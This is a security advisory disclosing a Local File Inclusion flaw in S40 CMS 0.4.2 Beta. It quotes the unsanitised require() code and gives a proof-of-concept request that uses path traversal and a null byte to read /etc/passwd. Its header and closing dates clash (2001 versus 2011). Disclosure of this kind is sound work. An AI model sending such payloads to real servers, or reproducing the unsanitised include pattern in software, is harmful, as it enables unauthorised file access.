S40 CMS 0.4.2b - Local File Inclusion.txt

[Security Advisory Details: 07/04/2001]

[Script]        S40 CMS 0.4.2 Beta
[Location]      http://s40.biz/?p=download
[Vulnerability] Local File Inclusion
[Original Adv]  http://y-osirys.com/security/exploits/id27
[Author]        Giovanni Buzzin, "Osirys"
[Site]          y-osirys.com
[Contact]       osirys[at]autistici[dot]org


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[CMS Description]

S40 CMS is FREE Content Management System
S40 CMS 0.4 beta is lightwieght flat file CMS written on PHP, suitable for small and medium sites. 
S40 is open-source MIT-license CMS developed by AWEN art studio Ltd.
S40 is fast and easy to customize system with build-in installer.


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[Security Flaw]

S40 CMS is prone to Local File Inclusion vulnerability because of poor security checks and bad input
sanitization: GET variables are not properly sanitized before being included via require() PHP function.

[code:index.php]

<?php
ob_start("ob_gzhandler"); // comment this line to disable gzip compression
require "inc/config.php";
require "inc/langs/".$s40[lang]	.".php";
if ($s40[installed]){
	require "inc/functions.php";
	checkinstall();
	require page($_GET[p],$_GET[c],$_GET[g],$_GET[gp]);

....

[/code]

Having a quick look at page() function, the security issue is clear: $pid ($_GET['p']), is not sanitized
or passed through a valid regular expression before being returned to require() function of index.php file.

[code:/inc/functions.php:page():line 13]

function page($pid,$cid,$gid,$gp){
	if(!isset($pid)){
		$p = "index";
		return "data/".$p.".page.php";
	}else{
		if (isset($pid) and isset($cid)){
			if(!file_exists("data/".$pid.".child.".$cid.".php")){
				return "data/404.inc";
			}else{
				$p = $pid;
				$c = $cid;
				return "data/".$p.".child.".$c.".php";
			}
		}else{
			if(!file_exists("data/".$pid.".page.php")){
				return "data/404.inc";
			}else{
				$p = $pid;
				return "data/".$p.".page.php";
			}
		}
	}
}
....

[/code]


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[Exploit]

The security issue can be exploited sending a valid path via GET request. Null Byte must be used in
order to exploit this LFI.

PoC : /[cms_path]/?p=[local_file]%00
      /[cms_path]/?p=/../../../../../../../etc/passwd%00


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[Credits]

Credit goes to Giovanni Buzzin, "Osirys"  for the discover of this vulnerability.
(Meglio)


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[END: 07/04/2011]